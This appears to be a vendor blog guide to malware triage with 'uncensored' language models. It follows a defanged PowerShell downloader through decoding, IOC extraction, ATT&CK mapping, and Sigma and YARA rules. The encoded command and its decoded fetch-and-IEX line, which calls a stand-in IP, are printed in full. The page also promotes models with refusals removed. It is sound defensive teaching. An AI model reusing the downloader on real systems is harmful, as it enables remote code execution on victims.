Skip to content
NewDeepSeek V4.1 Flash 1017 Uncensored is live, with 1M tokens of context.Read the launch
Journal

Malware triage with uncensored models: from sample to detection rule

A SOC guide to triaging malware with uncensored models: decode a PowerShell downloader, pull IOCs, map ATT&CK, and draft Sigma and YARA rules you then test.

Malware triage is reading hostile code quickly and turning what you learn into detections. A language model is good at the reading part: decoding layers, naming behavior, listing indicators, drafting rules. The trouble is that most models stop the moment the input looks like malware. This guide shows how to use an uncensored model for that work, walked through one sample, from encoded command line to tested Sigma and YARA rules.

Why aligned models stall on samples

Refusal training works on surface features. A base64 blob piped into IEX, a hidden window, a URL to a raw IP: those are the features that trip it. They are also the features of every sample in your queue.

So you paste a command line from an EDR alert and get a paragraph about responsible use, or half an answer: the technique in general terms, but not the payload in front of it. Rephrasing sometimes works, and you cannot plan a shift around sometimes.

An uncensored model drops that reflex and treats a sample as input to analyze. It is still a different model with its own habits, and it will occasionally decline. Expect fewer refusals, not none.

Set the role and scope in the system prompt

The system prompt tells the model who it works for and records what the work is. Be specific about role, input and output. Ask what the code does, not whether it is malicious. Ask for confidence on every claim, and for output you can test.

triage.py
Python
import os
from openai import OpenAI
 
client = OpenAI(base_url="https://xfield.cloud.brutal.ai/api/v1", api_key=os.environ["XFIELD_API_KEY"])
 
SYSTEM = """You are a malware analyst on the SOC at Example Corp.
Scope: samples collected from Example Corp endpoints during incident
response, analyzed for detection and containment. Defensive work only.
 
For each sample:
1. Decode every layer and show the decoded text, defanged.
2. Describe behavior step by step. Mark each claim high/medium/low confidence.
3. List IOCs as a table: type, value (defanged), context.
4. Map behavior to MITRE ATT&CK technique IDs, citing the line that shows it.
5. Draft one Sigma rule and one YARA rule, then list likely false positives.
Never guess an indicator you cannot see in the input. Say what is unknown."""
 
def triage(sample: str) -> str:
    resp = client.chat.completions.create(
        model="deepseek-v4.1-flash-1017-uncensored",
        reasoning_effort="high",
        messages=[
            {"role": "system", "content": SYSTEM},
            {"role": "user", "content": sample},
        ],
    )
    return resp.choices[0].message.content

That is a plain POST /api/v1/chat/completions call. deepseek-v4.1-flash-1017-uncensored has the highest cybersecurity benchmark score of the models on /models and is the right pick for analysis you will act on. Use glm-5.3-uncensored for very long write-ups or a second opinion, and glm-5.3-flash-uncensored for bulk first-pass triage of many alerts.

A worked example: an encoded PowerShell downloader

The alert is a process creation event, defanged for publication: hxxp for http, a documentation-range IP, a bracketed dot. It does nothing if run.

alert.txt
Shell
ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Image:       C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -nop -w hidden -enc JAB1AD0AJwBoAHgAeABwADoALwAvADIAMAAzAC4AMAAuADEAMQAzAFsALgBdADQANwAvAGEALwBzADIALgBwAHMAMQAnADsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAKQA7AEkARQBYACgAJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB1ACkAKQA=

Decode

-enc takes base64 of UTF-16LE text. The model will decode it, but check it yourself. It takes one line.

decode.py
Python
import base64, sys
print(base64.b64decode(sys.argv[1]).decode("utf-16-le"))
Shell
$ python3 decode.py 'JAB1AD0AJwBo...KQA='
$u='hxxp://203.0.113[.]47/a/s2.ps1';$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');IEX($w.DownloadString($u))

If the model's decoded text and yours differ, stop and find out why before reading anything else it says.

Behavior

The model's summary, trimmed:

  1. Word spawns PowerShell with no profile and a hidden window (high confidence, from the command line).
  2. The script builds a WebClient, sets a generic browser user agent, and downloads /a/s2.ps1 from a raw IP (high).
  3. The downloaded text goes straight into IEX, so the second stage runs in memory and never touches disk (high).
  4. What stage two does is unknown. It is not in the sample (stated, not guessed).

Point 4 matters most. A useful analyst says where the evidence ends.

IOCs

TypeValueContext
IPv4203.0.113[.]47Stage-two host
URLhxxp://203.0.113[.]47/a/s2.ps1Stage-two script
Process chainWINWORD.EXE → powershell.exeLikely macro or document exploit
User agentMozilla/5.0Weak; too common to alert on alone

ATT&CK mapping

TechniqueIDEvidence
PowerShellT1059.001powershell.exe -enc …
Obfuscated Files or InformationT1027Base64-encoded command
Hidden WindowT1564.003-w hidden
Ingress Tool TransferT1105DownloadString from remote host

Ask for the evidence column every time. A technique ID without a line from the sample is a guess.

Sigma

The model drafted two rules: one on the process launch, one on the decoded script as PowerShell script block logging records it (event 4104).

ps_hidden_encoded_from_office.yml
YAML
title: Office spawns hidden PowerShell with encoded command
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\POWERPNT.EXE'
  child:
    Image|endswith: '\powershell.exe'
  encoded:
    CommandLine|contains:
      - ' -enc '
      - ' -encodedcommand '
  hidden:
    CommandLine|contains:
      - '-w hidden'
      - '-windowstyle hidden'
  condition: parent and child and encoded and hidden
falsepositives:
  - Office add-ins or deployment tooling that launch PowerShell
level: high
tags:
  - attack.t1059.001
  - attack.t1027
---
title: PowerShell WebClient download piped to Invoke-Expression
status: experimental
logsource:
  product: windows
  category: ps_script
detection:
  download:
    ScriptBlockText|contains|all:
      - 'Net.WebClient'
      - 'DownloadString'
  exec:
    ScriptBlockText|contains:
      - 'IEX'
      - 'Invoke-Expression'
  condition: download and exec
falsepositives:
  - Admin scripts and installers that bootstrap from an internal server
level: medium

The first rule is narrow on purpose. Without the parent condition it also catches every management agent that runs encoded PowerShell.

YARA

For files on disk, mail attachments and memory dumps, a YARA rule on the decoded behavior and the live indicator. Real artifacts carry the IP undefanged, so the rule does too.

rules/ps_webclient_iex.yar
text
rule PS_WebClient_IEX_Downloader
{
    meta:
        description = "PowerShell downloader: WebClient.DownloadString into IEX"
        case = "IR-2026-1029"
    strings:
        $wc   = "Net.WebClient" ascii wide nocase
        $ds   = "DownloadString" ascii wide nocase
        $iex1 = "IEX" ascii wide
        $iex2 = "Invoke-Expression" ascii wide nocase
        $c2   = "203.0.113.47" ascii wide
    condition:
        filesize < 200KB and (($wc and $ds and any of ($iex*)) or $c2)
}

This matches decoded script text. It will not match the encoded command line, because the strings only exist after decoding. Scan what your pipeline decodes, or write a second rule for the encoded form and test it separately.

Use the 1M context for whole decompilations

Real samples are bigger. A stripped binary exported from Ghidra or IDA can run to hundreds of thousands of tokens, and splitting it means the model reasons about FUN_00401a30 without seeing what calls it.

glm-5.3-uncensored and deepseek-v4.1-flash-1017-uncensored both take 1M tokens. Send the full decompilation once, then ask focused questions: suggest names for these ten functions with confidence, recover the config struct, find where the C2 address is decrypted. Prompt caching is automatic, so keep the decompilation at the start of the conversation and put questions after it. Follow-ups then reuse the cached prefix, which is billed well below fresh input. qwen-3.8-27b-uncensored has 128K, so keep it for short samples.

Run it inside an agent, in a sandbox

The next step is an agent that runs the decode script, greps the decompilation and writes the rule file itself. Claude Code works with four variables:

Shell
export ANTHROPIC_BASE_URL="https://xfield.cloud.brutal.ai/api"
export ANTHROPIC_AUTH_TOKEN="$XFIELD_API_KEY"
export ANTHROPIC_MODEL=deepseek-v4.1-flash-1017-uncensored
export ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-5.3-flash-uncensored
claude

An agent can run commands, so where it runs matters more than which model drives it.

  • A disposable VM. No credentials, no shared folders, no corporate network. Snapshot before, revert after. Samples never touch your workstation.
  • Egress to the API host only. Nothing else, and certainly not the sample's C2.
  • Treat sample text as untrusted. Strings and decoded payloads can carry instructions aimed at a model. Keep the agent read-only where you can and review what it wants to run.

See /docs/claude-code for the full setup.

Never trust a rule you did not test

The model writes drafts. You decide what ships. For every rule:

  • Test the positive. Run the YARA rule against the decoded sample and the Sigma rule against the original event, converted to your SIEM's query language. If it does not fire on the sample it came from, it is not done.
  • Test the negative. Run both against a week of normal telemetry. Then ask the model to attack its own rule: what legitimate software matches, and what variant slips past.
  • Give it your baseline. The model does not know that your patching tool runs hidden encoded PowerShell every night. Tell it.
  • Check claims in the sandbox. Function names and decrypted strings are hypotheses until a debugger agrees.

Keep the work authorized

Triage samples you are responsible for: your own systems, your employer's, incidents you are engaged on, or lab research. Write that scope into the system prompt, as above. The acceptable use policy covers what is welcome, and defensive work like this is.

On data: XField does not store API prompts or completions. Each request leaves a usage record with model, token counts, timing and cost, never the text, and nothing is used for training. Samples can still carry customer data, so follow your own handling rules before you paste anything.

Access is by invitation. Request access, create a key in Settings › API keys, and start with one sample you have already triaged by hand. If the model gets to your answer faster, give it the next one.

Keep your stack.
Lose the refusals.

Tell us what you are building. We reply with an invitation, a key and pricing for your volume.